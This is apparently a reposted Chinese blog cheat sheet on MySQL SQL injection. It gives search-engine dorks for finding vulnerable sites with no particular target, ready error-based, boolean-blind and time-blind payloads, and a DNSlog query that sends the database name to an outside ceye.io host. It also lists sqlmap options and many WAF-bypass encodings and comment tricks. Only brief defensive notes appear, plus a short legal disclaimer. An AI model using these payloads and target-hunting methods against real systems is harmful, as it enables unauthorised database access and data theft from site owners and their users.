sql注入常用函数
Posted web安全工具库
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入常用函数相关的知识,希望对你有一定的参考价值。
当所有情绪都堆在一起的时候,才发现自己已经不是那个一块糖就能开心的小孩子了。。。
---- 网易云热评
一、mysql注入常用函数
1、system_user()系统用户名
2、user()用户名
3、current_user()当前用户名
4、session_user()链接数据库的用户名
5、database()数据库名
6、version()数据库版本
7、@@datadir数据库路径
8、@@basedir数据库安装路径
9、@@version_conpile_os操作系统
10、count()返回执行结果数量
11、concat()没有分隔符的链接字符串
12、concat_ws()含有分隔符的连接字符串
13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
14、load_file()读取本地文件
15、into outfile 写文件
16、ascii()字符串的ASCII代码值
17ord()返回字符串第一个字符的ASCII值
18mid()返回一个字符串的一部分
19substr()返回一个字符串的一部分
20、length()返回字符串的长度
21、left()返回字符串最左面几个字符
22、floor()返回小于或等于x的最大整数
23、rand()返回0和1之间的一个随机数
24、extractvalue()
第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
作用:从目标XML中返回包含所查询值的字符串
25、updatexml()
第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
第二个参数:Xpath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com
作用:改变文档中符合条件的节点的值
26、sleep()让此语句运行N秒钟
27、if() SELECT IF(1>2,2,3) ; -->3
28、char()返回整数ASCII代码字符组成的字符串
29、strcmp()比较字符串内容
30、ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
31exp()返回e的x次方
二、目标搜集
1、无特定目标:inurl:.php?id=
2、有特定目标:inurl:php?id= site:
3、工具爬取:spider,对搜索引擎和目标网站的链接进行爬取
三、注入识别
1、手工简单识别:
'
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 2
2、工具识别:
sqlmap -m filename(filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试)
3、高级识别
扩展识别广度和深度:
SqlMap --level 增加测试级别,对header中相关参数也进行测试
sqlmap -r filename(filename中为网站请求数据)
利用工具识别提高效率
BurpSuite+Sqlmap
BurpSuite拦截所有浏览器访问提交的数据
BurpSuite扩展插件,直接调用SqlMap进行测试一些Tips
可以在参数后键入"*"来确定想要测试的参数
可能出现的点:新闻、登录、搜索、留言
站在开发的角度去寻找
四、报错注入方法
1、floor() :select count(*) from information_schema.tables group by concat((select
2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
3、group by会对rand()函数进行操作时产生错误
4、concat:连接字符串功能
5、floor:取float的整数值
6、rand:取0~1之间随机浮点值
7、group by:根据一个或多个列对结果集进行分组并有排序功能
8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);
五、布尔盲注
1、left()函数
left(database(),1)>'s'
database()显示数据库名称,leȨ(a,b)从左侧截取a的前b位
2、regexp
select user() regexp'^r'
正则表达式的用法user()结果为root,regexp为匹配root的正则表达式
3、like
select user() like'^ro%'
与regexp类似,使用like进行匹配
4、substr()函数 ascii()函数
substr()函数 ascii(substr((select database()),1,1))<>98
substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
5、ord()函数 mid()函数
ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值
六、时间盲注
if(left(user(),1)='a',0,sleep(3));
七、DNSlog注入
SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));
八、宽字节注入
1、在注入点后键入%df,然后按照正常的诸如流程开始注入
2、黑盒测试:
在可能的注入点后键入%df,之后进行注入测试
3、白盒测试:
查看MySql编码是否为GBK
是否使用preg_replace把单引号替换成\'
是否使用addslashes进行转义
是否使用mysql_real_escape_string进行转义
4、防止宽字节注入
使用utf-8,避免宽字节注入
ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞
mysql_real_escape_string,mysql_set_charset('gbk',$conn);
设置参数,character_set_client=binary
九、二次编码
1、在注入点后键入%2527,然后按照正常的注入流程开始注入
2、黑盒测试:
在可能的注入点后键入%2527,之后进行注入测试
3、白盒测试
是否使用urldecode函数
urldecode函数是否存在转义方法之后
十、二次注入
1、插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,再写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
2、引用恶意数据
在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了而已数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
3、二次注入防御:
对外部提交的数据,需要更加谨慎的对待。
程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。
十一、WAF绕过
熟练掌握MySQL函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=随心所欲的绕过WAF的保护
1、白盒绕过
使用了blacklist函数过滤了'or'和'AND'
大小写变形:Or,OR,oR
等价替换:and->&&,or->||
2、黑盒绕过
寻找源站->针对云WAF
利用同网段->绕过WAF防护区域
利用边界漏洞->绕过WAF防护区域
资源限制角度绕过WAF
POST大BODY
请求方式变换GET->POST
Content-Type变换:application/x-www-form-urlencoded;->multipart/form-data;
参数污染
SQL注释符绕过
Level-1:union/**/select
Level-2:union/*aaaa%01bbs*/select
Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
内联注释:/*!xxx*/
空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
正则的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-2:union%25A0select
concat%2520(
concat/**/(
concat%250c(http://127.0.0.1/Less/?id=1
concat%25a0(
浮点数词法解析
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3
extractvalue(1.concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3))),1);
GeometryCollection((select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
MySQL特殊语法
select{x table_name}from{x information_schema.tables};
3、Fuzz绕过
注释符绕过
最基本的:union/**/select
中间引入特殊字:union/*aaa%0abbs*/select
最后测试注释长度:union/*aaaaaaaaaaaaaaa*/select
最基本的模式:union/*something*/select
a1%!%2f
十二、sqlmap的conf
sqlmap.py -v3(主函数入口)
--user-agent=websecurity(请求扩充)
--threads=5(访问优化)
-p id注入配置
--level 3(检测配置)
--technique=E(注入技术)
--current-user(信息获取)
--flush-session(通用设置)
--beep(杂项)幕布 - 极简大纲笔记 | 一键生成思维导图
禁止非法,后果自负
以上是关于sql注入常用函数的主要内容,如果未能解决你的问题,请参考以下文章